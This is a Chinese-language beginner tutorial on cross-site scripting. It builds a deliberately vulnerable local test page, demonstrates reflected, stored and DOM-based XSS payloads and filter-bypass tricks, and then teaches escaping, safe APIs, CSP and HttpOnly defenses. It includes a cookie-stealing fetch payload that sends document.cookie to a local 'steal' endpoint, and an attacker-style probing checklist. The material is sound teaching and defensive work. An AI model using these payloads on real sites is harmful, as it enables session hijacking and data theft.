1. 先搞清楚XSS到底是什么以及为什么HTML和JavaScript是它的核心很多人一听到XSS跨站脚本攻击就觉得是黑客的高深技术或者觉得只有复杂的Web应用才会遇到。其实恰恰相反XSS的入门门槛非常低它的核心就是利用网页对用户输入的不当处理让攻击者注入的恶意JavaScript代码在受害者的浏览器里执行。所以如果你懂一点HTML和JavaScript就已经具备了理解XSS的基础。为什么说HTML和JavaScript是核心因为整个攻击的载体和武器就是它们。HTML是网页的骨架它定义了页面的结构。XSS攻击常常需要构造特殊的HTML标签比如script,img,a来“夹带”恶意代码。JavaScript是网页的灵魂负责交互逻辑。XSS的最终目的就是让一段恶意的JavaScript代码在目标用户的浏览器环境中运行起来从而窃取Cookie、会话令牌甚至以用户身份执行操作。这个“Day7”的定位很准它意味着前六天你可能已经了解了网络基础、HTTP协议、简单的Web结构。现在是时候把HTML和JavaScript的知识放到“攻击者”的视角下来重新审视了。这不是教你去攻击别人而是让你彻底明白一个看似普通的输入框、一个URL参数如果开发人员处理不当会带来多么严重的后果。我建议你先忘掉那些复杂的绕过技巧从最本质的原理开始一个网站是如何相信并执行了用户提交的数据的理解了这一点你再看那些“xss测试语句”、“xss绕过”的热搜词就能一眼看穿它们试图在哪个环节做手脚。2. 搭建一个绝对安全的本地测试环境你的第一个“靶场”在真正接触任何攻击语句之前第一件必须做的事是搭建一个完全本地化、与外界隔离的测试环境。绝对不要在公网网站、他人的服务器或者任何你不拥有完全控制权的系统上进行测试这是法律和道德的底线。对于XSS学习你不需要一个完整的、像DVWA或Pikachu那样的复杂漏洞平台起步。那样容易让你迷失在复杂的配置和关卡中。我建议从最简单、最纯粹的HTMLJavaScript页面开始亲手构造漏洞场景。2.1 环境准备一个浏览器和一个文本编辑器就够了操作系统Windows, macOS, Linux 均可。本文指令以通用为主。浏览器Chrome 或 Firefox 的最新版。它们的开发者工具是我们分析XSS的“显微镜”。编辑器任何文本编辑器如 VS Code, Sublime Text, 甚至系统自带的记事本Notepad都可以。2.2 创建你的第一个漏洞测试页面在你的电脑上新建一个文件夹例如xss_lab。在里面创建一个纯文本文件命名为vulnerable_page.html。用编辑器打开它输入以下最基础的HTML代码!doctype html html langzh-CN head meta charsetutf-8 titleXSS 基础测试页/title /head body h1欢迎来到评论页/h1 !-- 这是一个存在反射型XSS漏洞的简单搜索框 -- form action methodGET label forsearch搜索内容/label input typetext idsearch nameq placeholder输入关键词... button typesubmit搜索/button /form hr div idresult !-- 这里会动态显示用户输入的内容存在漏洞 -- 您搜索的关键词是 /div script // 这段JavaScript模拟了服务端“反射”用户输入的过程 // 在实际漏洞中这部分逻辑通常在服务器端完成 const urlParams new URLSearchParams(window.location.search); const query urlParams.get(q); if (query) { // 危险操作直接将用户输入插入到HTML中没有进行任何过滤或转义 document.getElementById(result).innerHTML strong${query}/strong; } /script /body /html保存文件。然后直接用浏览器打开这个vulnerable_page.html文件双击或在浏览器中按CtrlO打开。你应该能看到一个带搜索框的简单页面。这个文件就是你第一个也是最安全的“靶场”。所有操作都在你的本地浏览器中进行不会影响任何其他人和服务器。3. 亲手触发一次反射型XSS理解“输入”到“执行”的链条现在我们利用刚才创建的页面来复现最常见的XSS类型——反射型XSSReflected XSS。它的特点是恶意脚本来自当前HTTP请求比如URL参数并被服务器“反射”回响应中在浏览器执行。3.1 正常操作与异常输入正常操作在页面的搜索框里输入hello点击“搜索”。页面URL会变成类似file:///.../vulnerable_page.html?qhello下方会显示“您搜索的关键词是hello”。这看起来一切正常。异常输入攻击试探现在清空搜索框输入一段特殊的HTML代码scriptalert(XSS)/script然后点击搜索。发生了什么你会看到一个弹窗内容是“XSS”。恭喜你你刚刚成功触发了一次XSS攻击虽然这个弹窗无害但它证明了你的输入script.../script被浏览器当作合法的HTML标签和JavaScript代码执行了而不是被当作普通文本显示。3.2 拆解攻击链条让我们用开发者工具F12来仔细看看这个过程输入点name“q”的输入框。这是攻击者可控数据的入口。传输数据通过GET方法附在URL的?q参数后面。处理我们页面中的JavaScript代码urlParams.get(‘q’)获取到了这个参数值。危险操作innerHTML属性。这是关键innerHTML会将字符串作为HTML代码解析并插入DOM。当我们把“scriptalert(‘XSS’)/script“这个字符串用innerHTML插入时浏览器会解析出script标签并执行其中的JavaScript。执行alert(‘XSS’)函数被执行产生弹窗。核心漏洞点网站相信了用户输入的数据并把它当成了代码的一部分HTML/JS而不是纯粹的数据文本。这通常是因为开发者使用了不安全的API如innerHTML、document.write()或者服务端模板渲染时未对变量进行转义。3.3 尝试更多“测试语句”热搜词里有很多“xss测试语句”你现在可以理解它们的意图了。在你的测试页面里尝试这些输入并观察结果img src“x” onerror“alert(1)” 这是一个非常经典的利用IMG标签的XSS。浏览器尝试加载一个不存在的图片src“x”触发onerror事件执行其中的JavaScript。这绕过了某些只过滤script标签的初级防御。svg onload“alert(1)” 利用SVG矢量图标签及其事件。a href“javascript:alert(1)”点击我/a 利用javascript:伪协议。当用户点击这个链接时会执行后面的JS代码。“scriptalert(1)/script 这种常用于闭合掉页面原有的HTML属性或标签然后插入新的恶意标签。注意在你的本地测试页面中由于我们是用innerHTML插入到div中像“这种闭合注入可能不生效因为它依赖于上下文的HTML结构。但这正是你需要学习的一部分——理解XSS载荷与漏洞上下文的关系。每次输入后都打开开发者工具的“元素”Elements面板看看你输入的代码最终被浏览器解析成了什么样的DOM结构。这是学习XSS最直观的方式。4. 从“能弹窗”到“有危害”理解XSS的实际威胁弹出一个alert框只是证明漏洞存在Proof of Concept。真正的XSS攻击危害极大。攻击者注入的脚本在受害者浏览器中运行拥有与该页面相同的权限可以窃取Cookie通过document.cookie获取用户的会话标识然后攻击者就能冒充该用户登录。劫持用户会话除了Cookie还可以窃取LocalStorage、SessionStorage中的敏感数据。发起恶意请求以用户身份执行任意操作如转账、发帖、修改资料、关注他人等CSRF攻击的升级版。钓鱼在页面上伪造一个登录框诱骗用户输入账号密码。键盘记录监听用户的键盘输入。挖矿或发起DDoS在用户后台静默运行加密货币挖矿脚本或利用用户浏览器发起网络攻击。让我们在测试页面上模拟一个最简单的“窃取Cookie”攻击。修改你的输入为scriptfetch(‘http://localhost:8000/steal?c‘ document.cookie)/script这段代码的意思是执行一个JavaScript向http://localhost:8000/steal这个地址发起一个网络请求并把当前页面的Cookie作为参数c传递过去。当然localhost:8000这个地址需要有一个服务器在监听才能收到数据。在实际攻击中攻击者会将其替换成自己控制的服务器地址。你可以使用Python快速搭建一个临时接收服务器来感受一下# 在另一个命令行窗口进入你的xss_lab目录 python3 -m http.server 8000运行后再用测试页面提交上面的恶意脚本。然后观察运行Python服务器的命令行窗口你应该能看到来自浏览器的请求日志其中包含了Cookie参数虽然我们这个本地页面没有设置Cookie但逻辑是通的。这个演示清晰地展示了一个看似无害的输入点如何变成数据泄露的通道。这也是为什么CTFCapture The Flag竞赛和技能树如CTFHub技能树中XSS是Web安全方向的必考知识点。5. 防御的起点HTML编码与安全的输出API知道了攻击原理防御思路就清晰了绝对不要信任用户输入对所有输出到HTML上下文的数据进行转义编码。5.1 什么是HTML编码转义HTML编码就是将字符串中具有特殊意义的字符如,,,“,’替换成对应的HTML实体HTML Entities。变为lt;变为gt;变为amp;“变为quot;‘变为#x27;(或apos;)经过转义后scriptalert(1)/script会变成lt;scriptgt;alert(1)lt;/scriptgt;。当浏览器渲染时它会将这些实体显示为普通的文本字符和而不会将其解析为HTML标签。5.2 修改我们的测试页面实现基础防御创建一个新的安全版本页面safe_page.html。关键修改在于处理用户输入的那段JavaScript!doctype html html langzh-CN head meta charsetutf-8 title安全的XSS测试页/title /head body h1欢迎来到评论页安全版/h1 form action methodGET label forsearch搜索内容/label input typetext idsearch nameq placeholder输入关键词... button typesubmit搜索/button /form hr div idresult 您搜索的关键词是 /div script const urlParams new URLSearchParams(window.location.search); const query urlParams.get(q); if (query) { // 防御方法1使用textContent它不会解析HTML // document.getElementById(‘result’).textContent query; // 防御方法2如果必须操作HTML先进行转义 function escapeHtml(text) { const map { ‘’: ‘amp;’, ‘’: ‘lt;’, ‘’: ‘gt;’, ‘“’: ‘quot;’, “‘”: ‘#x27;’ }; return text.replace(/[“’]/g, function(m) { return map[m]; }); } const safeQuery escapeHtml(query); document.getElementById(‘result’).innerHTML strong${safeQuery}/strong; } /script /body /html现在无论你在搜索框输入scriptalert(1)/script还是img onerroralert(1)页面都只会将它们作为纯文本显示出来脚本不会执行。5.3 选择安全的API前端防御XSS的第一原则是根据输出目标选择正确的API。输出目标危险API安全API说明HTML元素内容innerHTML,outerHTMLtextContent,innerText如果内容只是文本绝对不要用innerHTML。HTML属性值element.setAttribute(‘attr’, userInput)(部分情况)对userInput进行HTML编码后再设置特别是href、src、on*事件属性。对于href要额外检查是否以javascript:开头。JavaScript代码/数据将未处理的数据拼接进script标签或eval()使用JSON.stringify()并确保输出在script标签内时内容类型为application/json永远不要用字符串拼接的方式生成JS代码。URL参数直接拼接URL使用encodeURIComponent()进行编码防止注入新的查询参数或路径。对于服务端如PHP, Java, Python Django/Flask, Node.js模板引擎如Jinja2, EJS通常提供了自动转义功能但务必确认自动转义是开启的并且你知道在需要输出原始HTML时如富文本编辑器内容该如何安全地处理通常使用白名单过滤库如DOMPurify。6. 进阶XSS的类型与常见绕过思路在理解了基础原理后你会遇到“xss绕过”这类热搜。绕过本质上就是寻找防御措施的疏漏。XSS主要分为三类每类的利用场景和绕过思路略有不同6.1 反射型XSS (Reflected XSS)特点恶意脚本来自本次HTTP请求由服务器反射回响应中。通常通过邮件、即时消息中的链接诱骗用户点击。利用难点需要诱导用户点击特制链接。常见绕过点大小写混淆ScRiPt绕过简单的正则/script/i。标签属性绕过利用onerror,onload,onmouseover等事件处理器不依赖script标签。编码绕过对载荷进行HTML实体编码、URL编码、JS Unicode编码等如果解码逻辑存在缺陷或顺序不当可能被还原执行。闭合上下文如“script...闭合掉原有的属性或标签。6.2 存储型XSS (Stored XSS)特点恶意脚本被永久存储在服务器端数据库、文件、评论等当其他用户访问受影响页面时自动执行。危害最大。利用难点需要找到一个能将输入存储并展示给其他人的功能点如论坛发帖、用户昵称、评论。常见绕过点除了反射型的绕过技巧还可能利用富文本过滤缺陷富文本编辑器允许一些HTML但过滤规则不严。例如可能允许img但过滤了onerror却可以用img src1 style“x:expression(alert(1))”仅限旧IE等更冷门的方式。内容安全策略CSP缺失或配置错误CSP是防御XSS的终极武器之一但错误的配置如允许unsafe-inline或过宽的script-src会形同虚设。6.3 DOM型XSS (DOM-based XSS)特点漏洞的根源完全在前端JavaScript代码中。恶意数据从源头如location.hash,document.referrer,postMessage到接收器如innerHTML,eval()的整个处理过程都在浏览器端完成不经过服务器。利用难点需要分析前端JS代码逻辑。常见绕过点利用location.hash#后的内容不会发送到服务器但前端JS可能使用window.location.hash来获取并动态生成内容。利用eval()、setTimeout()、Function()构造函数这些能执行字符串形式JS代码的函数是高风险接收器。利用document.write()也是一个危险接收器。关于“xss绕过尖括号转义”如果网站只转义了和那么攻击者就会转向不需要尖括号的Payload。例如利用已有的事件属性如果页面有一个input value“” onfocus“console.log(1)”攻击者可以注入“ autofocus onfocus“alert(1)闭合value属性并添加autofocus让事件自动触发。利用javascript:伪协议a href“javascript:alert(1)”。利用SVG/MathML等标签这些标签在某些上下文中可能被允许且支持事件。7. 实战排查清单当你想测试或防御XSS时无论是作为安全测试人员还是作为开发者以下清单都能帮你系统性地思考。7.1 作为攻击者在授权测试中的探查思路找输入点所有用户可控的输入都是怀疑对象。URL参数 (?q)、表单字段 (input,textarea)、HTTP头 (User-Agent,Referer)、文件上传名、Ajax请求参数。试基础Payload先扔一个scriptalert(1)/script或img srcx onerroralert(1)看看反应。观察页面是否弹窗、HTML结构是否改变、是否有错误被拦截。看输出上下文用开发者工具查看你的输入被放在了哪里是HTML标签内、属性值里、JavaScript字符串中还是CSS里不同的上下文需要不同的Payload。判断过滤规则输入被拦截或转义了吗尝试大小写、编码、插入无关字符、使用替代标签/事件来试探过滤器的强弱。构造最终利用代码如果证明存在漏洞将alert(1)替换成真正有危害的代码如窃取Cookie的脚本。考虑利用链这个漏洞能否结合其他漏洞如CSRF扩大影响是反射型需要诱骗点击还是存储型可以长期影响7.2 作为开发者的防御自查清单对所有输出进行编码根据输出目的地HTML内容、HTML属性、JavaScript、CSS、URL使用对应的编码函数。不要自己写正则过滤用成熟的库。使用安全的API前端用textContent代替innerHTML避免eval()、setTimeout(string)、new Function(string)设置属性时对动态值进行编码。实施内容安全策略CSP在HTTP头中设置Content-Security-Policy明确告诉浏览器哪些外部资源可以加载禁止内联脚本执行 (‘unsafe-inline’)。这是缓解XSS的强力后盾。输入验证在服务端对输入进行严格的类型、格式、长度、范围检查。但记住验证不能替代输出编码因为验证可能被绕过。使用HTTP-only Cookie为会话Cookie设置HttpOnly标志防止被JavaScript通过document.cookie窃取。框架安全特性使用现代Web框架如React, Vue, Angular它们通常提供默认的转义机制。但要知道它们的“安全漏洞”如React的dangerouslySetInnerHTMLVue的v-html并谨慎使用。富文本处理如果必须允许用户输入HTML如博客评论使用严格的白名单过滤库如DOMPurify只允许安全的标签和属性。XSS不是一个可以“一劳永逸”修复的问题它需要开发者在每一次处理用户数据时都保持警惕。最好的学习方式就是像今天这样自己搭建环境亲手构造漏洞再亲手修复它。当你真正看到一句简单的alert(1)是如何从输入框跑到浏览器弹窗里时你对Web安全的理解就已经上了一个坚实的台阶。接下来你可以用DVWA、Pikachu这类综合靶场去练习在更复杂场景下的发现和利用但永远别忘了一切的基础都始于对HTML和JavaScript运行原理的透彻理解。